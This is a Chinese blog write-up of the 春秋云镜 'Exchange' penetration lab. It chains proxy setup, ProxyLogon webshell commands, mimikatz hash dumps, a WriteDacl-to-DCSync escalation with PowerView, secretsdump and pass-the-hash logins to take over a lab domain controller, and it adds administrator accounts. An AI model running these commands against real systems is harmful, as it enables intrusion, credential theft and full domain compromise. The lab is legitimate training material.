内网渗透从0到-1 -- 春秋云镜 Exchange

偷学长的账号开了一个多打一秒钟都心疼的靶场 (x

速成的一些预备知识

代理转发

拿到入口机后,需要搭建代理进行后续的横向移动。

常用工具有nps,frp等。

如果是一级代理,用 nps 会很方便。

对于复杂的拓扑,可以使用Venom搭建多级代理。具体使用可以参考内网穿透之多层代理

frp要写配置文件,可能比较麻烦。搭建多级代理移步《内网渗透体系建设》

对靶场而言,FastProxy可以curl一键搭frp代理,快速好用(毕竟不用擦屁股

域用户和机器用户

当计算机加入域时,域的全局组Domain Users会被添加到计算机本地User组中。因此域用户可以在域中的任何一台计算机上登录。

本地计算机SYSTEM用户对应域中的机器用户。机器用户的格式是机器名$

在本地计算机使用SYSTEM用户可以以机器用户的权限进行域内的操作。

哈希传递攻击

image-20230410212958681

入口机

用fscan扫描ip,发现开启了8000端口。华夏REP,网上的payload直接打就行。这不是本文重点,所以略过了(其实是有蓝狗

权限是root,可以写写ssh公钥。拿到flag1。

image-20230411164244385

搭建代理

使用到了FastProxy

VPS

image-20230410223155276

入口机

image-20230410223447844

kali (proxychains)

image-20230410223339808

测试一下:

image-20230410223624951

内网扫描

image-20230410223720566

fscan扫一下内网的C段

root@iZ8vbek17wwetibbd216xlZ:/tmp# ./fscan_amd64 -h 172.22.3.12/16

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.3.12     is alive
(icmp) Target 172.22.3.2      is alive
(icmp) Target 172.22.3.26     is alive
(icmp) Target 172.22.3.9      is alive
(icmp) Target 172.22.255.253  is alive
[*] LiveTop 172.22.0.0/16    段存活数量为: 5
[*] LiveTop 172.22.3.0/24    段存活数量为: 4
[*] Icmp alive hosts len is: 5
[*] LiveTop 172.22.255.0/24  段存活数量为: 1
172.22.3.9:81 open
172.22.3.9:80 open
172.22.3.26:135 open
172.22.3.2:135 open
172.22.3.9:445 open
172.22.3.9:443 open
172.22.3.9:139 open
172.22.3.26:139 open
172.22.3.2:139 open
172.22.3.9:135 open
172.22.3.2:88 open
172.22.3.2:445 open
172.22.3.26:445 open
172.22.3.9:808 open
172.22.3.9:8172 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo:
[*]172.22.3.9
   [->]XIAORANG-EXC01
   [->]172.22.3.9
[*] NetInfo:
[*]172.22.3.2
   [->]XIAORANG-WIN16
   [->]172.22.3.2
[*] WebTitle: http://172.22.3.9         code:403 len:0      title:None
[*] NetBios: 172.22.3.26     XIAORANG\XIAORANG-PC           
[*] 172.22.3.2  (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         Windows Server 2016 Datacenter 14393 
[*] NetInfo:
[*]172.22.3.26
   [->]XIAORANG-PC
   [->]172.22.3.26
[*] NetBios: 172.22.3.2      [+]DC XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.3.9:81      code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://172.22.3.9        code:302 len:0      title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle: https://172.22.3.9:8172   code:404 len:0      title:None
[*] WebTitle: https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237  title:Outlook
已完成 15/15
[*] 扫描结束,耗时: 18.207334642s

总结一下:

172.22.3.2	XIAORANG-WIN16	?
172.22.3.9	XIAORANG-EXC01	Exchange
172.22.3.12	入口机	Linux
172.22.3.26	XIAORANG-PC	个人电脑

Exchange

ProxyLogon拿下SYSTEM权限账号

https://github.com/herwonowr/exprolog

proxychains python3 exprolog.py -t 172.22.3.9 -e administrator@xiaorang.lab

proxychains curl --request POST --url https://172.22.3.9/owa/auth/ncyev.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k

image-20230411163253796

添加账号之后用remmina登陆rdp,拿到flag2

net user foobar pass@123 /add
net localgroup administrators foobar /add

image-20230411164048470

image-20230411164119763

域控

信息搜集

域控ip

在Exchange机器上执行ipconfig /all,发现DNS ip为172.22.3.2,猜测这就是域控制器。

172.22.3.2	XIAORANG-WIN16	域控制器
172.22.3.9	XIAORANG-EXC01	Exchange
172.22.3.12	入口机	Linux
172.22.3.26	XIAORANG-PC	个人电脑

配置remmina的share folder上传本地文件

image-20230411165458194

NTLM哈希

mimikatz搜集本机的账号哈希。

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt

image-20230411165755370

Authentication Id : 0 ; 2610805 (00000000:0027d675)
Session           : RemoteInteractive from 2
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2023/4/9 21:27:12
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
	msv :	
	 [00000003] Primary
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
	 * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
	 * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
	tspkg :	
	wdigest :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	
	
....

Authentication Id : 0 ; 62198 (00000000:0000f2f6)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/4/9 21:24:51
SID               : S-1-5-90-0-1
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : 03447ce0f4a9908d77c860954baa7c1e
	 * SHA1     : 8c31a42bec06c14a33d41d4f4593a95a74a64a4f
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : a2 ea 2d 27 c1 2b 84 f8 53 17 d9 e1 a2 5a 3d 81 3d 43 4b aa 21 fb fc 4b 01 b6 ee ab 9b 5b 21 41 72 1e 2b ee 69 cc 6c bd b7 fc ff aa de db bb ee fc 20 94 2f 37 9a 2c 56 cc 5a df 25 e9 f9 e8 ad da 48 34 a3 c0 ab 7c ba ad e2 3d 48 c3 3e 3f a6 26 1e 10 3a fa ab 50 d6 96 ba 22 38 b2 d4 a4 b5 e8 ce ef 46 10 d6 2a f3 f4 f3 38 3c 31 7d ef bf d9 71 b7 1f 5a 1b 5d 16 84 f2 18 ae c6 74 8b 23 f6 20 8b ba 7d 54 34 56 b3 ea f6 13 27 d5 47 a6 27 1c bb 50 68 f9 72 f6 13 d5 41 b1 27 10 27 3f d9 a7 c0 d6 1a 71 20 11 06 9d 0b f4 73 98 d3 70 73 33 f0 3b 85 cc f2 cd 41 28 97 e7 e0 94 81 f2 65 0e dd e6 24 b6 81 72 b6 7d 24 1a 11 cd ee 29 04 2d 29 4d 33 d2 6e f8 0d eb de 57 d3 ef 54 23 1b bd fa c1 0b 09 88 c4 47 13 c6 5b 58 fc ac 65 
	ssp :	
	credman :	

XIAORANG域下:

Zhangtong域用户哈希:

22c7f81993e96ac83ac2f3f1903de8b4

XIAORANG-EXC01$域用户哈希(也就是Exchange的SYSTEM用户):

03447ce0f4a9908d77c860954baa7c1e

域内环境

BloodHound信息搜集。因为只有SYSTEM用户有域权限,所以需要用ProxyLogon的shell来执行命令。

proxychains curl --request POST --url https://172.22.3.9/owa/auth/0lafo.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("C:/Users/foobar/Desktop/BloodHound/SharpHound.exe -c all --OutputDirectory C:/Users/foobar/Desktop/").stdout.readall())' -k

导出到本地后启动neo4j和bloodhound

neo4j start
bloodhound
// neo4f 123

BloodHound 使用可参考渗透测试之内网攻防篇:使用BloodHound 分析大型域内环境

导入之后点击Find Shortest Paths to Domain Admins

image-20230411175444679

发现exchange上的域用户有writeDacl权限

利用WriteDacl添加DCSync拿下域控

刚刚已经拿到了XIAORANG-EXC01$这个机器用户的hash,所以可以先用psexec进行PTH获取exchange机子上交互式的shell,权限是SYSTEM。

image-20230411210250610

proxychains python3 psexec.py -hashes :03447ce0f4a9908d77c860954baa7c1e XIAORANG/XIAORANG-EXC01\$@172.22.3.9

Write DACL权限可以直接修改用户权限 ,所以以Zhangtong的身份给Zhangtong添加DCSync权限。

powershell -command "cd C:/Users/foobar/Desktop/; Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIde Zhangtong -Rights DCSync -Verbose"

有了DCSync权限后,就可以用导出域管hash,使用Zhangtong的身份PTH

image-20230411182358027

proxychains python3 secretsdump.py -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc XIAORANG.LAB/Zhangtong@172.22.3.2

得到域管hash

xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::

用wmiexec登录域控

image-20230411210350973

proxychains python3 wmiexec.py -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang/administrator@172.22.3.2

改一下编码

chcp 65001

添加用户

net user bridge pass@123 /add
net localgroup administrators bridge /add

rdp登录,拿到flag4

image-20230411190340332

个人电脑

最后一个flag在172.22.3.26 XIAORANG-PC 个人电脑上的lumia用户桌面上。

在域控服务器上用Active Directory把lumia密码给改了

image-20230411190806954

登录172.22.3.26的rdp后发现桌面有一个secret.zip,需要解压密码。然后就是最喜欢的对脑洞环节:用lumia登录Exchange,发现有两封邮件,一份是提示密码是手机号,一份给了很多手机号。用工具导入手机号爆破密码,解压得到flag3

image-20230411192112997

说废话

这玩意好贵...开1h够吃一顿南区乐

REFs

春秋云境——Exchange WriteUp

内网穿透之多层代理

渗透测试之内网攻防篇:使用BloodHound 分析大型域内环境

《内网渗透体系建设》

posted @ 2023-08-21 09:13  KingBridge  阅读(648)  评论(0编辑  收藏  举报